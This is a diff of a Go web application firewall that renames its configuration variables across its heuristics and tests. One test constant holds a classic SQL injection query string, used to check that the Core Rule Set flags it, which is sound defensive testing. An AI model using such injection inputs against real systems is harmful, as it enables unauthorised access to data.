// The heuristic blocklists. It reads SWW_WAF_BLOCKLIST_ACTION, and the blocklists
// The heuristic blocklists. It reads SWW_BLOCKLIST_ACTION, and the blocklists
// through the reputation lists.
import (
@@ -11,7 +11,7 @@ import (
)
// blocklists notes the blocklists that list the client, as noteListed does,
// and refuses the request when SWW_WAF_BLOCKLIST_ACTION is deny. Being limit, it
// and refuses the request when SWW_BLOCKLIST_ACTION is deny. Being limit, it
// lowers the client's limits instead (see limitPercentages), and being log, it
// does nothing more. Its figure is the blocklists that list the client.
type blocklists struct{}
@@ -35,7 +35,7 @@ func (blocklists) check(_ context.Context, rq *request, _ time.Time) *verdict {
// refusedByBlocklists reports whether the heuristic blocklists refuses a
// client, given listedBy, the blocklists that list it: it does when one lists
// it and SWW_WAF_BLOCKLIST_ACTION is deny.
// it and SWW_BLOCKLIST_ACTION is deny.
func (rq *request) refusedByBlocklists(listedBy []string) bool {
return len(listedBy) > 0 && rq.h.config.BlocklistAction == deny
}
internal/discriminator/bytelimits.go
+1 -1
View File
@@ -1,6 +1,6 @@
package discriminator
// The heuristic byte_limits. It reads SWW_WAF_BYTES_COUNT, and the byte limits
// The heuristic byte_limits. It reads SWW_BYTES_COUNT, and the byte limits
// and biased thresholds through the limiter and limitPercentages.
import (
internal/discriminator/bytelimits_test.go
+8 -8
View File
@@ -19,13 +19,13 @@ import (
// The byte limit settings.
const (
bytesLimitPerMinute = "SWW_WAF_BYTES_LIMIT_PER_MINUTE"
bytesLimitPerHour = "SWW_WAF_BYTES_LIMIT_PER_HOUR"
bytesLimitPerDay = "SWW_WAF_BYTES_LIMIT_PER_DAY"
bytesCount = "SWW_WAF_BYTES_COUNT"
bytesLimitPerMinute = "SWW_BYTES_LIMIT_PER_MINUTE"
bytesLimitPerHour = "SWW_BYTES_LIMIT_PER_HOUR"
bytesLimitPerDay = "SWW_BYTES_LIMIT_PER_DAY"
bytesCount = "SWW_BYTES_COUNT"
)
// The values of SWW_WAF_BYTES_COUNT.
// The values of SWW_BYTES_COUNT.
const (
countResponse = "response"
countRequest = "request"
@@ -40,7 +40,7 @@ const (
// byteLimit is the byte limit these tests set, as a setting: a request
// with a body and its answer, 100 bytes, go over it.
byteLimit = "99"
// minuteBytes is limit_hit for SWW_WAF_BYTES_LIMIT_PER_MINUTE.
// minuteBytes is limit_hit for SWW_BYTES_LIMIT_PER_MINUTE.
minuteBytes = "minute_bytes"
)
@@ -227,8 +227,8 @@ func TestByteLimitsLeaveOutWhatTheRateLimitsLeaveOut(t *testing.T) {
t.Parallel()
const (
allowed = "192.0.2.7" // in SWW_WAF_ALLOW_NETS
exempt = "192.0.2.10" // in SWW_WAF_RATE_LIMIT_EXEMPT_NETS
allowed = "192.0.2.7" // in SWW_ALLOW_NETS
exempt = "192.0.2.10" // in SWW_RATE_LIMIT_EXEMPT_NETS
)
s, _ := startWithAnswers(t, map[string]string{
internal/discriminator/client.go
+1 -1
View File
@@ -43,7 +43,7 @@ func scheme(r *http.Request, isQuestion bool) string {
// clientGroup is the client a request is counted toward: its IPv4
// address, or its IPv6 group, the netblock its IPv6 address is in of the
// length SWW_WAF_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
// length SWW_IPV6_GROUP_PREFIX sets, a /64 by default, since one abuser
// usually holds a whole /64. An IPv4 address in IPv6 form counts as IPv4.
func (h *handler) clientGroup(addr netip.Addr) netip.Prefix {
addr = addr.Unmap()
internal/discriminator/coreruleset.go
+15 -16
View File
@@ -1,7 +1,7 @@
package discriminator
// The heuristic core_rule_set. It reads SWW_WAF_CORE_RULE_SET_MODE,
// SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS and SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
// The heuristic core_rule_set. It reads SWW_WAF_MODE, SWW_WAF_EXEMPT_PATHS
// and SWW_WAF_ANOMALY_THRESHOLD.
import (
"context"
@@ -14,13 +14,13 @@ import (
)
// coreRuleSet inspects the request with the Core Rule Set, unless
// SWW_WAF_CORE_RULE_SET_MODE is off or SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
// exempts its path, as pathExempt decides, and notes the rules it matched and
// its score in the log line, and the rules in the metrics. A score at or over
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD is a match: it adds the tag
// exploitsignature, raises the core_rule_set_match alert, and in block mode
// refuses the request with 403, which is an offence its client's history
// counts. Its figures are the score and the threshold.
// SWW_WAF_MODE is off or SWW_WAF_EXEMPT_PATHS exempts its path, as
// pathExempt decides, and notes the rules it matched and its score in the
// log line, and the rules in the metrics. A score at or over
// SWW_WAF_ANOMALY_THRESHOLD is a match: it adds the tag exploitsignature,
// raises the core_rule_set_match alert, and in block mode refuses the request with 403,
// which is an offence its client's history counts. Its figures are the score
// and the threshold.
type coreRuleSet struct{}
func (coreRuleSet) name() string { return "core_rule_set" }
@@ -67,10 +67,10 @@ func (coreRuleSet) check(_ context.Context, rq *request, _ time.Time) *verdict {
}
// alertCoreRuleSetMatch raises the core_rule_set_match alert for the request,
// which the Core Rule Set scored at result, at or over
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD. Its detail gives the rule ids, the
// score, the method and the path with the query, and, for a request that is
// not refused for it, the mode: detect, or observe in observe mode.
// which the Core Rule Set scored at result, at or over SWW_WAF_ANOMALY_THRESHOLD. Its
// detail gives the rule ids, the score, the method and the path with the
// query, and, for a request that is not refused for it, the mode: detect,
// or observe in observe mode.
func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
detail := map[string]any{
"rule_ids": result.RuleIDs,
@@ -94,8 +94,7 @@ func (rq *request) alertCoreRuleSetMatch(result coreruleset.Result) {
ASN: rq.line.ASN,
ASName: rq.line.ASName,
Country: rq.line.Country,
Reason: "scored by the Core Rule Set at or over " +
"SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
Detail: detail,
Reason: "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
Detail: detail,
})
}
internal/discriminator/coreruleset_test.go
+12 -13
View File
@@ -14,13 +14,13 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// The Core Rule Set's settings the tests set, besides SWW_WAF_CORE_RULE_SET_MODE, and
// The Core Rule Set's settings the tests set, besides SWW_WAF_MODE, and
// its two modes that inspect requests.
const (
wafAnomalyThreshold = "SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD"
wafDisabledRules = "SWW_WAF_CORE_RULE_SET_DISABLED_RULES"
wafExemptPaths = "SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_CORE_RULE_SET_BODY_LIMIT"
wafAnomalyThreshold = "SWW_WAF_ANOMALY_THRESHOLD"
wafDisabledRules = "SWW_WAF_DISABLED_RULES"
wafExemptPaths = "SWW_WAF_EXEMPT_PATHS"
wafBodyLimit = "SWW_WAF_BODY_LIMIT"
block = "block"
detect = "detect"
)
@@ -28,7 +28,7 @@ const (
// formData is the type of a form's body.
const formData = "application/x-www-form-urlencoded"
// sizeLimit is SWW_WAF_CORE_RULE_SET_BODY_LIMIT in the tests that read bodies, 1K as a
// sizeLimit is SWW_WAF_BODY_LIMIT in the tests that read bodies, 1K as a
// setting.
const (
sizeLimit = 1 << 10
@@ -37,7 +37,7 @@ const (
// sqlInjection asks for / with an SQL injection in its query, which only
// the Core Rule Set's rule 942100 matches, with a score of 5, the default
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD.
// SWW_WAF_ANOMALY_THRESHOLD.
const sqlInjection = "/?id=1'%20OR%20'1'='1"
// wantCoreRuleSet checks the request log line's core_rule_set_rule_ids and
@@ -177,7 +177,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
) {
t.Parallel()
const allowed = "192.0.2.60" // in SWW_WAF_ALLOW_NETS
const allowed = "192.0.2.60" // in SWW_ALLOW_NETS
s, _, _ := startWithClock(t, "", map[string]string{
wafMode: block,
@@ -186,7 +186,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
rulesDir: writeRules(t, testRules),
})
// A client in SWW_WAF_ALLOW_NETS, and a path SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS
// A client in SWW_ALLOW_NETS, and a path SWW_WAF_EXEMPT_PATHS
// exempts, are not inspected.
line := s.request(allowed, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantCoreRuleSet(t, line, nil)
@@ -205,7 +205,7 @@ func TestCoreRuleSetIsNotRunWhenOffOrForAnExemptClientPathOrRuleFileRefusal(
requestlog.ActionBlockedByBlockRule)
wantCoreRuleSet(t, line, nil)
// With SWW_WAF_CORE_RULE_SET_MODE off, no request is.
// With SWW_WAF_MODE off, no request is.
s, _, _ = startWithClock(t, "", map[string]string{wafMode: off})
line = s.request(client, sqlInjection, http.StatusOK, requestlog.ActionForward)
wantCoreRuleSet(t, line, nil)
@@ -522,9 +522,8 @@ func TestCoreRuleSetMatchRaisesTheCoreRuleSetMatchAlert(t *testing.T) {
Host: appHost,
Client: netip.MustParseAddr(client),
Netblock: netip.MustParsePrefix(client + "/32"),
Reason: "scored by the Core Rule Set at or over " +
"SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD",
Detail: detail,
Reason: "scored by the Core Rule Set at or over SWW_WAF_ANOMALY_THRESHOLD",
Detail: detail,
})
if queue.Suppressed() != 1 {
internal/discriminator/countries.go
+3 -3
View File
@@ -1,6 +1,6 @@
package discriminator
// The heuristic countries. It reads SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES.
// The heuristic countries. It reads SWW_EXCLUSIVELY_ALLOWED_COUNTRIES.
import (
"context"
@@ -10,7 +10,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// countries refuses a request when SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES is set and
// countries refuses a request when SWW_EXCLUSIVELY_ALLOWED_COUNTRIES is set and
// does not hold the client's country as it was looked up. A client without a
// country, or whose country cannot be found, is refused. Its figures are the
// country and the setting that refused it.
@@ -29,7 +29,7 @@ func (countries) check(_ context.Context, rq *request, _ time.Time) *verdict {
return &verdict{
action: requestlog.ActionCountryDenied,
figures: map[string]any{
"country": country, "setting": "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES",
"country": country, "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES",
},
}
}
internal/discriminator/countries_test.go
+6 -6
View File
@@ -38,7 +38,7 @@ func TestCountryLists(t *testing.T) {
[]string{fromKP, unplaced},
},
{
"with a country in SWW_WAF_TAG_DENY",
"with a country in SWW_TAG_DENY",
map[string]string{tagDeny: denyKP, allowedCountries: "de,fr"},
[]string{fromKP, unplaced},
},
@@ -100,11 +100,11 @@ func TestCountryRefusalNamesItsHeuristicCountryAndSetting(t *testing.T) {
line := s.get(fromKP, http.StatusForbidden, requestlog.ActionCountryDenied)
wantHeuristic(t, line, "countries",
`{"country": "KP", "setting": "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
`{"country": "KP", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
line = s.get(unplaced, http.StatusForbidden, requestlog.ActionCountryDenied)
wantHeuristic(t, line, "countries",
`{"country": "", "setting": "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
`{"country": "", "setting": "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"}`)
}
func TestCountryRefusalKeepsARequestFromTheApp(t *testing.T) {
@@ -262,11 +262,11 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
action string
}{
{
"not in SWW_WAF_ALLOW_NETS", "",
"not in SWW_ALLOW_NETS", "",
http.StatusForbidden, requestlog.ActionCountryDenied,
},
{
"in SWW_WAF_ALLOW_NETS", "10.0.0.7,fd00::/8",
"in SWW_ALLOW_NETS", "10.0.0.7,fd00::/8",
http.StatusOK, requestlog.ActionForward,
},
} {
@@ -296,7 +296,7 @@ func TestExclusiveListRefusesAPrivateAddressUnlessAllowed(t *testing.T) {
// startGeoJS starts a stand-in for GeoJS, which places fromDE and fromKP,
// each in an AS of its own, and no other address. It returns its URL, and
// what returns the addresses it has been asked about. A test that needs
// the stand-in to be asked or to answer sets SWW_WAF_LOOKUP_TIMEOUT to an
// the stand-in to be asked or to answer sets SWW_LOOKUP_TIMEOUT to an
// hour, whether or not a request waits for the answer: on the default, a
// hold-up of the test process can abandon the request to the stand-in, and
// leave the client unknown.
internal/discriminator/crowdsec.go
+1 -1
View File
@@ -1,6 +1,6 @@
package discriminator
// The heuristic crowdsec. It reads SWW_WAF_CROWDSEC_LAPI_URL, and the decisions
// The heuristic crowdsec. It reads SWW_CROWDSEC_LAPI_URL, and the decisions
// through the reputation lists.
import (
internal/discriminator/crowdsec_test.go
+2 -2
View File
@@ -18,8 +18,8 @@ import (
// test puts in the copy of its decision list, at decisionsURL, that it
// needs, as reputation.json would at start.
const (
crowdSecURL = "SWW_WAF_CROWDSEC_LAPI_URL"
crowdSecKey = "SWW_WAF_CROWDSEC_LAPI_KEY"
crowdSecURL = "SWW_CROWDSEC_LAPI_URL"
crowdSecKey = "SWW_CROWDSEC_LAPI_KEY"
lapi = "http://crowdsec.example:8080"
decisionsURL = lapi + "/v1/decisions"
bouncerKey = "crowdsec-key-0123456789abcdef"
internal/discriminator/denynets.go
+2 -2
View File
@@ -1,6 +1,6 @@
package discriminator
// The heuristic deny_nets. It reads SWW_WAF_DENY_NETS.
// The heuristic deny_nets. It reads SWW_DENY_NETS.
import (
"context"
@@ -9,7 +9,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// denyNets refuses a client in SWW_WAF_DENY_NETS. Its figure is the netblock of
// denyNets refuses a client in SWW_DENY_NETS. Its figure is the netblock of
// the setting the client is in.
type denyNets struct{}
internal/discriminator/discriminator.go
+3 -3
View File
@@ -40,7 +40,7 @@ const (
// headers and body.
DispositionDeny = "deny"
// DispositionClose tells rproxy to close the visitor's connection
// without an answer, which SWW_WAF_BAN_RESPONSE asks for when it is close.
// without an answer, which SWW_BAN_RESPONSE asks for when it is close.
// discriminator closing the question's connection instead would read as
// discriminator being down, and rproxy would then let the request through.
DispositionClose = "close"
@@ -302,7 +302,7 @@ func asTheVisitorSentIt(r *http.Request, body []byte) *http.Request {
}
// allow answers a question with DispositionAllow and, while
// SWW_WAF_ADD_LOOKUP_HEADERS is set, the client's AS number and country.
// SWW_ADD_LOOKUP_HEADERS is set, the client's AS number and country.
func (rq *request) allow() {
rq.allowed = true
@@ -328,7 +328,7 @@ func (rq *request) deny(r refusal) {
rq.refused = &r
if r.status == 0 {
// SWW_WAF_BAN_RESPONSE is close. Written past rq.out, since the log line's
// SWW_BAN_RESPONSE is close. Written past rq.out, since the log line's
// status stays 0: the visitor is sent nothing.
rq.out.Header().Set(DispositionHeader, DispositionClose)
rq.out.ResponseWriter.WriteHeader(http.StatusOK)
internal/discriminator/discriminator_test.go
+3 -3
View File
@@ -39,7 +39,7 @@ const (
// reportBodyLimit is the longest body SPEC.md lets a report have.
reportBodyLimit = 1 << 20
// anomalyClientPerMinute is the anomaly threshold these tests set.
anomalyClientPerMinute = "SWW_WAF_ANOMALY_CLIENT_REQUESTS_PER_MINUTE"
anomalyClientPerMinute = "SWW_ANOMALY_CLIENT_REQUESTS_PER_MINUTE"
)
// The fields of a report, as "discriminator" in SPEC.md names them.
@@ -181,7 +181,7 @@ func (s *Discriminator) history() ratelimit.History {
}
// metrics returns what the metrics endpoint answers, for a server started with
// the token as SWW_WAF_METRICS_TOKEN.
// the token as SWW_METRICS_TOKEN.
func (s *Discriminator) metrics() string {
s.t.Helper()
@@ -1486,7 +1486,7 @@ func TestALargeBodyAnnouncedAndLongHeadersAreNoReasonToRefuse(t *testing.T) {
func TestLogLevelHoldsBackNoRequestLine(t *testing.T) {
t.Parallel()
s := startDiscriminator(t, "", map[string]string{"SWW_WAF_LOG_LEVEL": "error"})
s := startDiscriminator(t, "", map[string]string{"SWW_LOG_LEVEL": "error"})
// A refused question would write a process warning, held back at error.
req := s.question(siteA, client, "/")
internal/discriminator/dnsbl.go
+2 -2
View File
@@ -1,6 +1,6 @@
package discriminator
// The heuristic dnsbl. It reads SWW_WAF_REPUTATION_ACTION, and the DNSBL zones'
// The heuristic dnsbl. It reads SWW_REPUTATION_ACTION, and the DNSBL zones'
// verdicts through the DNSBL checker.
import (
@@ -14,7 +14,7 @@ import (
// dnsbl notes the DNSBL zones whose verdict lists the client, as noteListed
// does, adds the tag dnsbl=<zone> for each, the zone's key masked, and refuses
// the request when SWW_WAF_REPUTATION_ACTION is deny. Being
// the request when SWW_REPUTATION_ACTION is deny. Being
// limit, it lowers the client's limits instead (see limitPercentages), and
// being log, it does nothing more. A zone without a verdict on the client is
// asked about it in the background, and the request does not wait for the
internal/discriminator/heuristics.go
+1 -1
View File
@@ -37,7 +37,7 @@ const (
)
// The lists of heuristics, each in the order its heuristics run. A client in
// SWW_WAF_ALLOW_NETS skips them all.
// SWW_ALLOW_NETS skips them all.
// beforeLookup are the heuristics that run before the client's AS number and
// country are looked up, so that a client they refuse is not looked up.
internal/discriminator/lookup.go
+2 -2
View File
@@ -12,7 +12,7 @@ import (
)
// The headers in which an answer of allow gives rproxy the client's AS number
// and country, for the app, while SWW_WAF_ADD_LOOKUP_HEADERS is set. Go writes
// and country, for the app, while SWW_ADD_LOOKUP_HEADERS is set. Go writes
// every header name in this form, as it sends it and as it receives it, so
// X-Client-ASN arrives as X-Client-Asn; header names are not case-sensitive.
const (
@@ -23,7 +23,7 @@ const (
// lookUp looks up the client's AS number and country, in the lookup
// database or through GeoJS, and notes them for the log line and as the
// request's asn= and country= tags, unless
// SWW_WAF_LOOKUP_SOURCE is off or the client is on a private, loopback or
// SWW_LOOKUP_SOURCE is off or the client is on a private, loopback or
// link-local address, which no lookup can place. The lookup database
// answers at once. With GeoJS, while a setting needs the answer, such as a
// country list or a biased threshold, a new client's request waits for it,
internal/discriminator/lookup_test.go
+1 -1
View File
@@ -20,7 +20,7 @@ import (
// and country.
type asnAndCountry struct{ asn, asName, country string }
// fileSource is the SWW_WAF_LOOKUP_SOURCE that looks clients up in the
// fileSource is the SWW_LOOKUP_SOURCE that looks clients up in the
// lookup database.
const fileSource = "file"
internal/discriminator/metrics_test.go
+8 -8
View File
@@ -17,9 +17,9 @@ import (
)
const (
metricsToken = "SWW_WAF_METRICS_TOKEN" //nolint:gosec // the setting's name
metricsTopN = "SWW_WAF_METRICS_TOP_N"
// token is the SWW_WAF_METRICS_TOKEN the tests set, and bearer how a
metricsToken = "SWW_METRICS_TOKEN" //nolint:gosec // the setting's name
metricsTopN = "SWW_METRICS_TOP_N"
// token is the SWW_METRICS_TOKEN the tests set, and bearer how a
// request carries it.
token = "0123456789abcdef0123456789abcdef"
bearer = "Bearer " + token
@@ -113,7 +113,7 @@ func TestMetricsCountTheTraffic(t *testing.T) {
func TestMetricsCountLimitsAndBans(t *testing.T) {
t.Parallel()
const denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
const denied = "192.0.2.50" // in SWW_DENY_NETS
s, clk, _ := startWithClock(t, "", map[string]string{
metricsToken: token,
@@ -124,7 +124,7 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
maxBanDuration: "2h",
})
// SWW_WAF_BAN_RESPONSE=close sends no status at all.
// SWW_BAN_RESPONSE=close sends no status at all.
s.get(denied, 0, requestlog.ActionClientDenied)
// A first broken limit bans for an hour.
@@ -145,7 +145,7 @@ func TestMetricsCountLimitsAndBans(t *testing.T) {
wantMetric(t, s.scrape(), `sww_active_bans{instance="app"}`, 0)
// A limit broken again right after would ban for three hours, longer
// than SWW_WAF_MAX_BAN_DURATION, so the ban is permanent.
// than SWW_MAX_BAN_DURATION, so the ban is permanent.
s.get(client, http.StatusOK, requestlog.ActionForward)
s.get(client, 0, requestlog.ActionClientIsRateLimited)
@@ -327,13 +327,13 @@ func TestMetricsCountGeoJSRequestsAndFailures(t *testing.T) {
tagDeny: denyKP,
})
// GeoJS fails, so the client has no country= tag, and SWW_WAF_TAG_DENY does
// GeoJS fails, so the client has no country= tag, and SWW_TAG_DENY does
// not refuse it.
req := newRequest(t, http.MethodGet, addr, "/", http.NoBody)
req.Header.Set(forwardedFor, fromDE)
wantStatus(t, do(t, req), http.StatusOK)
// The client stops waiting for GeoJS once SWW_WAF_LOOKUP_TIMEOUT is up, so
// The client stops waiting for GeoJS once SWW_LOOKUP_TIMEOUT is up, so
// GeoJS's failure can come after its request has ended.
deadline := time.Now().Add(waitLimit)
metrics := scrape(t, server.Addr)
internal/discriminator/observe_test.go
+3 -3
View File
@@ -12,7 +12,7 @@ import (
"sneak.berlin/go/smallwebwaf/internal/requestlog"
)
// observe is the value of SWW_WAF_MODE for observe mode.
// observe is the value of SWW_MODE for observe mode.
const observe = "observe"
func TestBanActionSaysWhetherTheBanRunsOut(t *testing.T) {
@@ -118,12 +118,12 @@ func TestObserveModeForwardsWhatEnforceModeRefuses(t *testing.T) {
t.Parallel()
const (
denied = "192.0.2.50" // in SWW_WAF_DENY_NETS
denied = "192.0.2.50" // in SWW_DENY_NETS
banned = otherClient // under a ban read from bans.json
)
for _, tc := range []struct {
setting string // "" leaves SWW_WAF_MODE at its default
setting string // "" leaves SWW_MODE at its default
observe bool
}{
{"", false},
internal/discriminator/proxy.go
+17 -17
View File
@@ -34,15 +34,15 @@ const ownEndpointPrefix = "/_sww/"
const HealthPath = "/_sww/healthz"
// MetricsPath is where the metrics are, for a request that carries
// SWW_WAF_METRICS_TOKEN.
// SWW_METRICS_TOKEN.
const MetricsPath = "/_sww/metrics"
// BansPath is where an admin lists and adds bans, and, followed by / and
// a client's address, lifts them, with SWW_WAF_ADMIN_TOKEN.
// a client's address, lifts them, with SWW_ADMIN_TOKEN.
const BansPath = "/_sww/bans"
// ClientsPath is where an admin asks what discriminator knows of a client, by
// the client's address after it, with SWW_WAF_ADMIN_TOKEN.
// the client's address after it, with SWW_ADMIN_TOKEN.
const ClientsPath = "/_sww/clients/"
// Params are what New needs.
@@ -55,16 +55,16 @@ type Params struct {
// ProcessLog receives the process's own messages.
ProcessLog *slog.Logger
// GeoJSURL is where clients' AS numbers and countries are looked up
// while SWW_WAF_LOOKUP_SOURCE is geojs, normally lookup.URL.
// while SWW_LOOKUP_SOURCE is geojs, normally lookup.URL.
GeoJSURL string
// AbuseIPDBURL is where clients are checked with AbuseIPDB while
// SWW_WAF_ABUSEIPDB_KEY is set, normally reputation.AbuseIPDBURL.
// SWW_ABUSEIPDB_KEY is set, normally reputation.AbuseIPDBURL.
AbuseIPDBURL string
// LookupFile is the lookup database they are looked up in while
// SWW_WAF_LOOKUP_SOURCE is file, and nil otherwise.
// SWW_LOOKUP_SOURCE is file, and nil otherwise.
LookupFile *lookup.File
// CoreRuleSet is what NewCoreRuleSet returns: what inspects requests
// while SWW_WAF_CORE_RULE_SET_MODE is not off, and nil while it is.
// while SWW_WAF_MODE is not off, and nil while it is.
CoreRuleSet *coreruleset.CoreRuleSet
// Now tells the time by which requests are counted for the rate
// limits, bans are made and run out, and GeoJS's answers are kept,
@@ -77,17 +77,17 @@ type Params struct {
// permanent, for each count over an anomaly threshold, for each request
// whose client a blocklist, the CrowdSec decision list, a DNSBL zone or
// AbuseIPDB lists, for each request the Core Rule Set scores at or over
// SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
// SWW_WAF_ANOMALY_THRESHOLD, and for GeoJS failing, a fetch of a list
// failing, a query to a DNSBL zone or a check with AbuseIPDB failing,
// or the day's AbuseIPDB checks used up.
Alerts *alerts.Queue
}
// Server is the server discriminator runs, with the parts whose state the state
// files keep, the lookup database, nil unless SWW_WAF_LOOKUP_SOURCE is file, the
// files keep, the lookup database, nil unless SWW_LOOKUP_SOURCE is file, the
// lists fetched from URLs, which its Run fetches, the DNSBL zones' verdicts,
// AbuseIPDB's scores and checks spent, and the metrics. RouteWatch, nil while
// SWW_WAF_ROUTEWATCH_URL is unset, keeps its answers in memory only.
// SWW_ROUTEWATCH_URL is unset, keeps its answers in memory only.
type Server struct {
*http.Server
@@ -185,7 +185,7 @@ func newHandler(params Params) *handler {
// newReputation returns the lists fetched from URLs, the DNSBL zones'
// verdicts and AbuseIPDB's scores, as the settings in params name them,
// with none fetched, asked for or checked yet, and adds their metrics to
// m, AbuseIPDB's while SWW_WAF_ABUSEIPDB_KEY is set.
// m, AbuseIPDB's while SWW_ABUSEIPDB_KEY is set.
func newReputation(
params Params, m *metrics.Metrics,
) (*reputation.Lists, *reputation.DNSBL, *reputation.AbuseIPDB) {
@@ -218,11 +218,11 @@ func newReputation(
return lists, dnsbl, abuseIPDB
}
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL,
// without the rules SWW_WAF_CORE_RULE_SET_DISABLED_RULES switches off, reading bodies
// up to SWW_WAF_CORE_RULE_SET_BODY_LIMIT, with the exclusions in
// SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_CORE_RULE_SET_MODE is
// off. It reads at most QuestionBodyMaxBytes less one byte: a question's body of
// NewCoreRuleSet returns the Core Rule Set at SWW_WAF_PARANOIA_LEVEL,
// without the rules SWW_WAF_DISABLED_RULES switches off, reading bodies
// up to SWW_WAF_BODY_LIMIT, with the exclusions in
// SWW_CORE_RULE_SET_EXCLUSIONS_FILE, or nil while SWW_WAF_MODE is off. It
// reads at most QuestionBodyMaxBytes less one byte: a question's body of
// QuestionBodyMaxBytes may be cut short, and the Core Rule Set does not read a
// JSON or XML body over its limit. An exclusions file that coreruleset.New refuses is
// an error in every mode. While the mode is off, a set file is loaded with the
@@ -238,7 +238,7 @@ func NewCoreRuleSet(cfg *config.Config) (*coreruleset.CoreRuleSet, error) {
ExclusionsFile: cfg.CoreRuleSetExclusionsFile,
})
if err != nil {
return nil, fmt.Errorf("SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
return nil, fmt.Errorf("SWW_CORE_RULE_SET_EXCLUSIONS_FILE: %w", err)
}
if cfg.WAFMode == config.WAFModeOff {
internal/discriminator/proxy_test.go
+50 -43
View File
@@ -17,7 +17,6 @@ import (
"sneak.berlin/go/smallwebwaf/internal/alerts"
"sneak.berlin/go/smallwebwaf/internal/config"
"sneak.berlin/go/smallwebwaf/internal/config/configtest"
"sneak.berlin/go/smallwebwaf/internal/discriminator"
"sneak.berlin/go/smallwebwaf/internal/lookup"
"sneak.berlin/go/smallwebwaf/internal/requestlog"
@@ -56,35 +55,35 @@ const (
// The settings the tests set.
const (
mode = "SWW_WAF_MODE"
trustedProxies = "SWW_RPROXY_TRUSTED_PROXIES"
ipv6GroupPrefix = "SWW_WAF_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWW_WAF_MAX_TRACKED_CLIENTS"
allowNets = "SWW_WAF_ALLOW_NETS"
rateLimitExemptNets = "SWW_WAF_RATE_LIMIT_EXEMPT_NETS"
denyNets = "SWW_WAF_DENY_NETS"
rateLimitPerMinute = "SWW_WAF_RATE_LIMIT_PER_MINUTE"
rateLimitPerDay = "SWW_WAF_RATE_LIMIT_PER_DAY"
rateLimitExemptPaths = "SWW_WAF_RATE_LIMIT_EXEMPT_PATHS"
lookupSource = "SWW_WAF_LOOKUP_SOURCE"
lookupDBPath = "SWW_WAF_LOOKUP_DB_PATH"
lookupTimeout = "SWW_WAF_LOOKUP_TIMEOUT"
addLookupHeaders = "SWW_WAF_ADD_LOOKUP_HEADERS"
tagDeny = "SWW_WAF_TAG_DENY"
// denyKP is the value of SWW_WAF_TAG_DENY that refuses fromKP's country.
mode = "SWW_MODE"
trustedProxies = "SWRP_TRUSTED_PROXIES"
ipv6GroupPrefix = "SWW_IPV6_GROUP_PREFIX"
maxTrackedClients = "SWW_MAX_TRACKED_CLIENTS"
allowNets = "SWW_ALLOW_NETS"
rateLimitExemptNets = "SWW_RATE_LIMIT_EXEMPT_NETS"
denyNets = "SWW_DENY_NETS"
rateLimitPerMinute = "SWW_RATE_LIMIT_PER_MINUTE"
rateLimitPerDay = "SWW_RATE_LIMIT_PER_DAY"
rateLimitExemptPaths = "SWW_RATE_LIMIT_EXEMPT_PATHS"
lookupSource = "SWW_LOOKUP_SOURCE"
lookupDBPath = "SWW_LOOKUP_DB_PATH"
lookupTimeout = "SWW_LOOKUP_TIMEOUT"
addLookupHeaders = "SWW_ADD_LOOKUP_HEADERS"
tagDeny = "SWW_TAG_DENY"
// denyKP is the value of SWW_TAG_DENY that refuses fromKP's country.
denyKP = "country=KP"
allowedCountries = "SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES"
banResponse = "SWW_WAF_BAN_RESPONSE"
limitBanDuration = "SWW_WAF_LIMIT_BAN_DURATION"
limitBanRepeatWindow = "SWW_WAF_LIMIT_BAN_REPEAT_WINDOW"
maxBanDuration = "SWW_WAF_MAX_BAN_DURATION"
maxBans = "SWW_WAF_MAX_BANS"
banScopeV4Prefix = "SWW_WAF_BAN_SCOPE_V4_PREFIX"
instanceName = "SWW_WAF_INSTANCE_NAME"
logRequestHeaders = "SWW_WAF_LOG_REQUEST_HEADERS"
attackBanDuration = "SWW_WAF_ATTACK_BAN_DURATION"
rulesDir = "SWW_WAF_RULES_DIR"
wafMode = "SWW_WAF_CORE_RULE_SET_MODE"
allowedCountries = "SWW_EXCLUSIVELY_ALLOWED_COUNTRIES"
banResponse = "SWW_BAN_RESPONSE"
limitBanDuration = "SWW_LIMIT_BAN_DURATION"
